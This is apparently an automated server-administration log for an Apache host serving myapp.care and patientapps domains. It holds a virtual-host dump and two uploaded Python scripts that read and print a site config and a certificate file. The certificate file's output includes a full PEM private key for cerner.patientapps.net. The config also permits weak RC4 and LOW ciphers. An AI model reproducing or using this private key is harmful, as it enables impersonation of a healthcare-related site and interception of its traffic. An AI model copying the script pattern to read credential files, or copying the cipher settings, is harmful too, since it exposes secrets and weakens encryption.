                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-18 06:00:49: 

PUT: /tmp/pkp932574

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_cerner_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:00:49: 

chmod 755 /tmp/pkp932574; /tmp/pkp932574; rm /tmp/pkp932574

2026-02-18 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_cerner_net.conf	1680

<VirtualHost *:80>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	cerner.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/cerner_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/cerner_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-18 06:00:49: 

PUT: /tmp/pkp772635

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-18 06:00:49: 

chmod 755 /tmp/pkp772635; /tmp/pkp772635; rm /tmp/pkp772635

2026-02-18 06:00:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9165176ee0fe7a5f957c52572458ff70.crt	5365
c5:41:a2:92:28:f5:cf:27:d1:28:49:4b:b6:3c:80:cb

-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBagYaE4pE5R/dimMx8WOXu+3MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjE4MDUwMjE2WhcNMjYwNTE5MDUwMjE1WjAhMR8wHQYDVQQD
ExZjZXJuZXIucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAp6klIkT6tJrjEOOkoSC0cHMwer6WJO6c6dzzSZXJeDyBvfAghQGv
ZQhqBMOP7QooNrOHxxSA/wOYm75ckW/jk3LenBN+Fa6cuxZ3DZYT8qanjGW9QMuW
KukP/eSj2tMi+tVIBwWzrrbQbcCyxNJfF6Gid5sYMF6rUj/zvEO7DZzE7PjuruyR
psMiRX2Enf6q4Z9C54O6mzLw6vATcUJbgZ4wc334YJ+QpEUPyEF08HHR0rh134Ye
6Tb3tgD2QZRJwWg8whxGh2HEygtrrAwvP/4fX/6ZkZlKwIQosnv44F9Pax/FD7zy
5cnS1oy2gGByC+wHRdo5Tr806wLFuPbddQIDAQABo4ICJTCCAiEwDgYDVR0PAQH/
BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBpckhdWmMguLZieWxHpAatowT5QMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wIQYDVR0RBBowGIIWY2VybmVyLnBhdGllbnRhcHBzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzU2LmNybDCCAQ0GCisGAQQB1nkCBAIEgf4EgfsA+QB2
AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAABnG9WNm4AAAQDAEcw
RQIhANBgZF/0s3ynBOhi4r0aQHFEmBDKPJTDJq88MboaZ1WQAiBcLjZpV2CQE60D
IVjYB6/b7H3SCv93SChZcrKhmeymqQB/ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABnG9WOXwACAAABQBKAC6CBAMASDBGAiEA5RENHjZnYP4EMsak
ZCqoQItaHRvP1/eH9cDjpgwIrsUCIQDaZHKMW9rrkRG+TmTC4RBOuiDIVfHxK2KX
aNQAOrMuQTANBgkqhkiG9w0BAQsFAAOCAQEAnfyJIJaY7MwWFLY1GWvZCK/CkvYc
eqM/FDv53XqEnfEitqfkggNBBt1XosmzAsEKmtljKRrrpn0wX5B/G2N4IfNL/oYW
WL/41GCKbcLQQ8yelULV/MMwD1opjrUaEkzrfosT1fP6PgV4ZBzDG2LBm/8m9E3C
DJUjAOoH9ylWwTkiwM9ijQQ2oZj6fbOxQOWPZFr/w+KXIe7XaosJa0jUAk371wuX
lozNt2+6KUAcuhN6Mg9bM1BFUtpn+ipsn6lFEdKiBsPOSWxMkjkWmOw2RzvcwEUL
PqCuoXyX7suvnY7w8mmrMC8KB7wwb3OtsO2mYMI9G//+vOJEtvTRrvvq/w==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCnqSUiRPq0muMQ
46ShILRwczB6vpYk7pzp3PNJlcl4PIG98CCFAa9lCGoEw4/tCig2s4fHFID/A5ib
vlyRb+OTct6cE34Vrpy7FncNlhPypqeMZb1Ay5Yq6Q/95KPa0yL61UgHBbOuttBt
wLLE0l8XoaJ3mxgwXqtSP/O8Q7sNnMTs+O6u7JGmwyJFfYSd/qrhn0Lng7qbMvDq
8BNxQluBnjBzffhgn5CkRQ/IQXTwcdHSuHXfhh7pNve2APZBlEnBaDzCHEaHYcTK
C2usDC8//h9f/pmRmUrAhCiye/jgX09rH8UPvPLlydLWjLaAYHIL7AdF2jlOvzTr
AsW49t11AgMBAAECggEADiK7MEP7lT2X1mUzDKi6vd5gYIDwHMYHccpAstwPo/UK
BU8ZFs25EX4fni401Mnt8Qq68GSAqb+OXtcya8qwt85QCX21PDPAIB/5Qqp8HRHC
/5nWVn+ztgN3ZzMfQ4RYpyhTTdBDwX/FW/OKvwBzpwToM0hexjk9HY6pyJ43R6Lk
lVb06U4fZZ92MvuA8/Fz0frdCh0NCLbylH5RYVniwqYZKWn56cyZNnOnN2axjbqI
NXT4Cx4Cxu5VJImHF/0+sp0D2SXt4ZiEpasRYb0AgiGY6GfiKEiRBMTei8ht2AUB
MwEy+P9rk8eg25E1wDuV9d9JoB1M/go77uMgxTursQKBgQDanPs9hqZyCSiJ4xrg
0BUcRtii4365fe2T+yUZphAgEC0B/bJf0/IrLG5WH45WfEVkGlw4JpcYS3aLMiVJ
fZGZTpzNMHViFIwkX5NTxZ9za1QWi5kIudzFDvHmX6kqJAUurXPzAEapmoJ4MbQX
OtaxvyelU9G1vdCamcXdLLLiOQKBgQDEVW7XzuCaiuqALdww+e5LMlaM4di0lkOo
hyL8lsLBaBcB9X/UgwRP5hynTz1Hb9ZxGlF4HkGdeLSJYpW1ox+LaeOrJIHZg2zu
Z6f5SNYf4CY40/1LtaxK4m6jripd2n9GYlXDLdwkCPJmhMhAsLVczoccRMiA0RzX
j5KuqgklHQKBgC2OUwjCO4M+B1WcnuhEVHHdDZ38HFdZN54D0vpiUa/szwRAMuCn
USrQCnol/0pkgS1YFOmamRf1+dEN9Rk4cpPo/uH/fCahM4cM562oXA74ScCc/JoF
6UyjTaN9QcpHUVEl0ijMYO1NBm03pljE6SKHPCLGscfWs1bUPphVjT15AoGAf63/
k6EaN+a3cfxhAgjHi2eFGcGWKHrALU0U16dDqHuE2uVI6G770uoXIEdL1rVIg+1V
pgQnL71byyytp54Z2ZRXVuk6+LWblb8bYeaYOcqPkM1sIFxZW6m9wfx12OtLcf5p
P7EHRPf8i+c2Q7undl9pRl0E96EGXLkl7yjtIZECgYBm6/9Tm7Ewvy9wMPNNxp08
nEHgd3q3wMLWJR+rmWk6fFJ0AX+ujmMy40KuRuyo4FNt7O4BxQ8slBDn26HrswaW
FjICTn2WDcpPoGezwrHZYi03ASDVNpreCjkLjqxq9iFR7WK+5Yu56q49Qa1Eo+4E
fYWzZL7R3nqglpiTQBOsQg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
